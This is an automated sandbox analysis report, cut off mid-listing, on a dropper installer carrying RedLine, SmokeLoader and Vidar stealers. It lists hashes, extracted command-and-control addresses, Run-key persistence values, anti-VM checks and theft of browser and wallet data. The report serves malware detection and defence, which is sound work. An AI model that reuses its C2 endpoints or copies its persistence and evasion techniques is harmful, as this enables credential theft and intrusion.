Resubmissions
02-11-2021 06:54
211102-hpn1zsbhc2 1002-11-2021 06:42
211102-hgpmjsgggp 1001-11-2021 21:47
211101-1ncknsfgfm 10Analysis
-
max time kernel
1532s -
max time network
28635s -
platform
windows10_x64 -
resource
win10-ja-20211014 -
submitted
01-11-2021 21:47
Static task
static1
Behavioral task
behavioral1
Sample
setup_x86_x64_install.exe
Resource
win7-ja-20210920
Behavioral task
behavioral2
Sample
setup_x86_x64_install.exe
Resource
win7-en-20211014
Behavioral task
behavioral3
Sample
setup_x86_x64_install.exe
Resource
win7-de-20210920
Behavioral task
behavioral4
Sample
setup_x86_x64_install.exe
Resource
win11
Behavioral task
behavioral5
Sample
setup_x86_x64_install.exe
Resource
win10-ja-20211014
General
-
Target
setup_x86_x64_install.exe
-
Size
4.2MB
-
MD5
b5b5fe52ed9ca7d47bfb857498fd684c
-
SHA1
9c17089a630141c9b4e13ef46ab334d46709fdb8
-
SHA256
6cbb4380d880c6bab221c81122b32e225ebf224942191fb08df5df82f971864b
-
SHA512
482de7cacf73eb37050e323312b05d3d5d2152048efa5defa4b3d8687f6b3355233d8bf3f04d6107a7214f4b21e4f81f83313ecaf3bdcda98c7d95d60a41e79a
Malware Config
Extracted
redline
media0121
91.121.67.60:23325
Extracted
redline
newjust
135.181.129.119:4805
Extracted
smokeloader
2020
http://brandyjaggers.com/upload/
http://andbal.com/upload/
http://alotofquotes.com/upload/
http://szpnc.cn/upload/
http://uggeboots.com/upload/
http://100klv.com/upload/
http://rapmusic.at/upload/
Extracted
vidar
41.6
933
https://mas.to/@lilocc
-
profile_id
933
Signatures
-
Modifies system executable filetype association 2 TTPs 3 IoCs
Processes:
OneDriveSetup.exedescription ioc process Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx\ = "{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}" OneDriveSetup.exe -
Process spawned unexpected child process 6 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
rundll32.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5012 4968 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6624 4968 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 8068 4968 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 8500 4968 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6464 4968 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 8196 4968 rundll32.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 4 IoCs
Processes:
resource yara_rule behavioral5/memory/1480-270-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral5/memory/2080-269-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral5/memory/2080-271-0x0000000000418D3A-mapping.dmp family_redline behavioral5/memory/1480-272-0x0000000000418D26-mapping.dmp family_redline -
Registers COM server for autorun 1 TTPs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon17870faab0.exe family_socelars C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon17870faab0.exe family_socelars -
Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exedescription pid process target process PID 1964 created 4392 1964 WerFault.exe Mon1708beae021a5ff.exe PID 5672 created 1376 5672 WerFault.exe Mon17bffc2992eb3d.exe PID 5296 created 4252 5296 WerFault.exe setup.exe -
suricata: ET MALWARE ClipBanker Variant Activity (POST)
suricata: ET MALWARE ClipBanker Variant Activity (POST)
-
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
-
suricata: ET MALWARE FormBook CnC Checkin (POST) M2
suricata: ET MALWARE FormBook CnC Checkin (POST) M2
-
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
Processes:
resource yara_rule behavioral5/memory/3852-502-0x0000000002170000-0x0000000002246000-memory.dmp family_vidar behavioral5/memory/3852-505-0x0000000000400000-0x00000000004D9000-memory.dmp family_vidar -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\libcurlpp.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zSCF2FBC46\libcurlpp.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\libstdc++-6.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zSCF2FBC46\libcurl.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zSCF2FBC46\libcurl.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zSCF2FBC46\libstdc++-6.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\libcurl.dll aspack_v212_v242 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
control.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run control.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\RJOPYFHXCNY = "C:\\Program Files (x86)\\Mmx4hv\\i4g4vtj2.exe" control.exe -
Blocklisted process makes network request 47 IoCs
Processes:
rundll32.exepowershell.exeMsiExec.exeflow pid process 330 6464 rundll32.exe 665 8720 powershell.exe 824 6532 MsiExec.exe 826 6532 MsiExec.exe 827 6532 MsiExec.exe 828 6532 MsiExec.exe 829 6532 MsiExec.exe 830 6532 MsiExec.exe 831 6532 MsiExec.exe 832 6532 MsiExec.exe 833 6532 MsiExec.exe 834 6532 MsiExec.exe 835 6532 MsiExec.exe 836 6532 MsiExec.exe 837 6532 MsiExec.exe 838 6532 MsiExec.exe 839 6532 MsiExec.exe 840 6532 MsiExec.exe 841 6532 MsiExec.exe 842 6532 MsiExec.exe 843 6532 MsiExec.exe 844 6532 MsiExec.exe 845 6532 MsiExec.exe 846 6532 MsiExec.exe 847 6532 MsiExec.exe 848 6532 MsiExec.exe 849 6532 MsiExec.exe 850 6532 MsiExec.exe 851 6532 MsiExec.exe 852 6532 MsiExec.exe 853 6532 MsiExec.exe 854 6532 MsiExec.exe 855 6532 MsiExec.exe 856 6532 MsiExec.exe 857 6532 MsiExec.exe 858 6532 MsiExec.exe 859 6532 MsiExec.exe 861 6532 MsiExec.exe 862 6532 MsiExec.exe 863 6532 MsiExec.exe 864 6532 MsiExec.exe 865 6532 MsiExec.exe 867 6532 MsiExec.exe 868 6532 MsiExec.exe 869 6532 MsiExec.exe 870 6532 MsiExec.exe 871 6532 MsiExec.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 2 IoCs
Processes:
DYbALA.exeDYbALA.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts DYbALA.exe File opened for modification C:\Windows\system32\drivers\etc\hosts DYbALA.exe -
Executes dropped EXE 64 IoCs
Processes:
setup_installer.exesetup_install.exeMon178e7a516181.exeMon17870faab0.exeMon175e6c8b40064b8c8.exeMon173a360b525.exeMon17bffc2992eb3d.exeMon17bbf11fdb575d.exeMon179f74c0ff3cf1f.exeMon1727c156c4abcec.exeMon1708beae021a5ff.exeMon17afe24e0084db3.exeMon174a6c5f1664f.exeWinHoster.exeMon17a0d8ec302e.exeMon178d8e5d06822.exeMon17bbf11fdb575d.tmpMon17bbf11fdb575d.exeMon17afe24e0084db3.exezhanglijuan-game.exeMon1727c156c4abcec.exeMon174a6c5f1664f.exe4197520.exe5406726.exeejmyMi7AtBevIn8DRICZl6av.exepostback.exe3482271.exeDownFlSetup110.exeinst1.exe7933448.exeSoft1WW01.exe41575.exechrome.exe2453573.exechrome2.exe5149335.exesearch_hyperfs_206.exesetup.exemsiexec.exeCalculator Installation.exechrome3.exeChrome5.exeLYCw0J.ExEkPBhgOaGQk.exeLzmwAqmV.exe2954983.exe5338000.exe6286259440.exe4151522.exe2367830.exe5093277.exemTeABXpBzcGCUGPGqC7x3nV1.exeqxC1nsEi42vuuuXTOfADEOqE.exeW9xWu_AEnKs623Q9RYQ1dIrL.exei9iBfSFpiJLNYdkx4pTJj13W.exe13DXiLTMa1hLpSFPz4hnS78R.exeJaCAPd06FlDmrpOxihzFv2Ya.exeCXGvGSzadJsTx1qTxImyPp7A.exewkXv2fTh4gd_QhZD3v2cNXAC.exel9hzlz9ZLt7XuMB8ACGsfFI8.exepid process 4860 setup_installer.exe 520 setup_install.exe 2888 Mon178e7a516181.exe 3884 Mon17870faab0.exe 4628 Mon175e6c8b40064b8c8.exe 5008 Mon173a360b525.exe 1376 Mon17bffc2992eb3d.exe 4100 Mon17bbf11fdb575d.exe 988 Mon179f74c0ff3cf1f.exe 3136 Mon1727c156c4abcec.exe 4392 Mon1708beae021a5ff.exe 4180 Mon17afe24e0084db3.exe 4360 Mon174a6c5f1664f.exe 1484 WinHoster.exe 3376 Mon17a0d8ec302e.exe 2160 Mon178d8e5d06822.exe 1872 Mon17bbf11fdb575d.tmp 2120 Mon17bbf11fdb575d.exe 2472 Mon17afe24e0084db3.exe 2972 zhanglijuan-game.exe 2080 Mon1727c156c4abcec.exe 1480 Mon174a6c5f1664f.exe 3444 4197520.exe 4488 5406726.exe 1552 ejmyMi7AtBevIn8DRICZl6av.exe 512 postback.exe 1556 3482271.exe 2152 DownFlSetup110.exe 2132 inst1.exe 1488 7933448.exe 3852 Soft1WW01.exe 4720 41575.exe 3500 chrome.exe 4560 2453573.exe 1152 chrome2.exe 1300 5149335.exe 4296 search_hyperfs_206.exe 4252 setup.exe 4216 msiexec.exe 2972 zhanglijuan-game.exe 1536 Calculator Installation.exe 2648 chrome3.exe 1484 WinHoster.exe 4472 Chrome5.exe 5320 LYCw0J.ExE 5436 kPBhgOaGQk.exe 5144 LzmwAqmV.exe 5408 2954983.exe 5284 5338000.exe 5940 6286259440.exe 6064 4151522.exe 4488 5406726.exe 2196 2367830.exe 5904 5093277.exe 5156 mTeABXpBzcGCUGPGqC7x3nV1.exe 5744 qxC1nsEi42vuuuXTOfADEOqE.exe 1552 ejmyMi7AtBevIn8DRICZl6av.exe 2928 W9xWu_AEnKs623Q9RYQ1dIrL.exe 1372 i9iBfSFpiJLNYdkx4pTJj13W.exe 5912 13DXiLTMa1hLpSFPz4hnS78R.exe 4692 JaCAPd06FlDmrpOxihzFv2Ya.exe 6184 CXGvGSzadJsTx1qTxImyPp7A.exe 6432 wkXv2fTh4gd_QhZD3v2cNXAC.exe 6452 l9hzlz9ZLt7XuMB8ACGsfFI8.exe -
Checks BIOS information in registry 2 TTPs 20 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
CXGvGSzadJsTx1qTxImyPp7A.exe8QS5QO54Pu7CmqPq1QMNVpdP.exeCalculator.exeu3cRqTdVGtXPgh8ADvnvPDLI.exe7933448.exe5338000.exe4151522.exeG_qlYSMI3UpBnqt1rgDYiWfA.exeEfYzouvnW3iAXodDye6sK70I.exe3482271.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion CXGvGSzadJsTx1qTxImyPp7A.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 8QS5QO54Pu7CmqPq1QMNVpdP.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Calculator.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion u3cRqTdVGtXPgh8ADvnvPDLI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 7933448.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 5338000.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 4151522.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion G_qlYSMI3UpBnqt1rgDYiWfA.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion EfYzouvnW3iAXodDye6sK70I.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion EfYzouvnW3iAXodDye6sK70I.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion u3cRqTdVGtXPgh8ADvnvPDLI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 3482271.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 7933448.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion G_qlYSMI3UpBnqt1rgDYiWfA.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion CXGvGSzadJsTx1qTxImyPp7A.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 8QS5QO54Pu7CmqPq1QMNVpdP.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 3482271.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 5338000.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 4151522.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Calculator.exe -
Checks computer location settings 2 TTPs 7 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Mon178e7a516181.exeCalculator.exeEis8rgwPfplaNhGmdMf5sxxc.exeCalculator.exeCalculator.exeVyzharogaewi.exeMon179f74c0ff3cf1f.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Mon178e7a516181.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Calculator.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Eis8rgwPfplaNhGmdMf5sxxc.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Calculator.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Calculator.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Vyzharogaewi.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Mon179f74c0ff3cf1f.exe -
Loads dropped DLL 64 IoCs
Processes:
setup_install.exeMon17bbf11fdb575d.tmpzhanglijuan-game.exeCalculator Installation.exeregsvr32.exerundll32.exeMicrosoftEdge.exeregsvr32.exemsiexec.exesetup.exevRPeoOe1mIWiEt7qCOcg_mkL.exeV5QkACUZs6HpWtXhCwXQlkbI.exesetup.exe3HRBsEjn8fsRzwUB_ap1rMWy.tmpsetup.execmd.exeuSCjYmPU3CH3QGpDJ1ZL8Fwr.exetJWpYBfBdpnOujp6qGKB_GWA.tmpsetup.exeConhost.exerundll32.exeCalculator.exeinstaller.exepid process 520 setup_install.exe 520 setup_install.exe 520 setup_install.exe 520 setup_install.exe 520 setup_install.exe 520 setup_install.exe 1872 Mon17bbf11fdb575d.tmp 2972 zhanglijuan-game.exe 1536 Calculator Installation.exe 1536 Calculator Installation.exe 5664 regsvr32.exe 5664 regsvr32.exe 6196 rundll32.exe 6756 MicrosoftEdge.exe 1536 Calculator Installation.exe 1536 Calculator Installation.exe 1536 Calculator Installation.exe 7264 regsvr32.exe 7832 msiexec.exe 7832 msiexec.exe 696 setup.exe 696 setup.exe 5608 vRPeoOe1mIWiEt7qCOcg_mkL.exe 5608 vRPeoOe1mIWiEt7qCOcg_mkL.exe 5608 vRPeoOe1mIWiEt7qCOcg_mkL.exe 6120 V5QkACUZs6HpWtXhCwXQlkbI.exe 6120 V5QkACUZs6HpWtXhCwXQlkbI.exe 6120 V5QkACUZs6HpWtXhCwXQlkbI.exe 6120 V5QkACUZs6HpWtXhCwXQlkbI.exe 6120 V5QkACUZs6HpWtXhCwXQlkbI.exe 5192 setup.exe 5192 setup.exe 5608 vRPeoOe1mIWiEt7qCOcg_mkL.exe 5608 vRPeoOe1mIWiEt7qCOcg_mkL.exe 6872 3HRBsEjn8fsRzwUB_ap1rMWy.tmp 696 setup.exe 696 setup.exe 8052 setup.exe 8052 setup.exe 696 setup.exe 5360 cmd.exe 1016 uSCjYmPU3CH3QGpDJ1ZL8Fwr.exe 1016 uSCjYmPU3CH3QGpDJ1ZL8Fwr.exe 3580 tJWpYBfBdpnOujp6qGKB_GWA.tmp 1016 uSCjYmPU3CH3QGpDJ1ZL8Fwr.exe 1016 uSCjYmPU3CH3QGpDJ1ZL8Fwr.exe 1016 uSCjYmPU3CH3QGpDJ1ZL8Fwr.exe 8056 setup.exe 8056 setup.exe 696 setup.exe 1536 Calculator Installation.exe 4216 Conhost.exe 4216 Conhost.exe 5192 setup.exe 5192 setup.exe 5384 rundll32.exe 5192 setup.exe 7424 Calculator.exe 7424 Calculator.exe 7424 Calculator.exe 5192 setup.exe 6120 V5QkACUZs6HpWtXhCwXQlkbI.exe 7452 installer.exe 7452 installer.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\AppData\Roaming\3482271.exe themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 13 IoCs
Processes:
setup.exesetup.exesetup.exesetup.exeOneDriveSetup.exe2453573.exeDYbALA.exedescription ioc process Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run setup.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run setup.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run setup.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --ZgwMku75" setup.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run setup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\OneDriveSetup.exe\"" OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 2453573.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\WindowsPowerShell\\Xanocaejyca.exe\"" DYbALA.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --ZgwMku75" setup.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --ZgwMku75" setup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Standalone Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdater\\OneDriveSetup.exe\"" OneDriveSetup.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --ZgwMku75" setup.exe -
Checks for any installed AV software in registry 1 TTPs 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\SOFTWARE\KasperskyLab powershell.exe Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\SOFTWARE\KasperskyLab powershell.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
LYCw0J.ExE8QS5QO54Pu7CmqPq1QMNVpdP.exeadorning.exejg1_1faf.exemshta.exemshta.exesearch_hyperfs_206.exemshta.execmd.exel9hzlz9ZLt7XuMB8ACGsfFI8.exemshta.exeQaehoxekile.exefoldershare.exemshta.exemshta.exeLzmwAqmV.exeJigecacela.exeinstaller.exezhanglijuan-game.exemshta.exeFVg5dIcYh8MQcezkMZUKRnJw.exec9ERkf7LMTbBMG3_wz5MOpln.exeCalculator.exekPBhgOaGQk.exeCXGvGSzadJsTx1qTxImyPp7A.exeEfYzouvnW3iAXodDye6sK70I.exeCalculator.execmd.exekPBhgOaGQk.exeinstaller.exeCalculator.exepostback.exemshta.exe5338000.exe4151522.exeLgGY89P792Li7mvFxyF8GrqY.exesetup.exemshta.exeCalculator.exemshta.exe3482271.exeEoOquW8c4Vfj_NvcnA6gXyuN.exewkXv2fTh4gd_QhZD3v2cNXAC.exeu3cRqTdVGtXPgh8ADvnvPDLI.exe3HRBsEjn8fsRzwUB_ap1rMWy.tmpmshta.exeejmyMi7AtBevIn8DRICZl6av.exemshta.exeG_qlYSMI3UpBnqt1rgDYiWfA.exetJWpYBfBdpnOujp6qGKB_GWA.tmpmshta.exe7933448.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA LYCw0J.ExE Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 8QS5QO54Pu7CmqPq1QMNVpdP.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA adorning.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA jg1_1faf.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA search_hyperfs_206.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA cmd.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA l9hzlz9ZLt7XuMB8ACGsfFI8.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Qaehoxekile.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA foldershare.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA LzmwAqmV.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Jigecacela.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA installer.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA zhanglijuan-game.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA FVg5dIcYh8MQcezkMZUKRnJw.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA c9ERkf7LMTbBMG3_wz5MOpln.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Calculator.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA kPBhgOaGQk.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA CXGvGSzadJsTx1qTxImyPp7A.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA EfYzouvnW3iAXodDye6sK70I.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Calculator.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA cmd.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA kPBhgOaGQk.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA installer.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Calculator.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA postback.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 5338000.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 4151522.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA LgGY89P792Li7mvFxyF8GrqY.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA setup.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Calculator.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 3482271.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA EoOquW8c4Vfj_NvcnA6gXyuN.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA wkXv2fTh4gd_QhZD3v2cNXAC.exe Key value queried 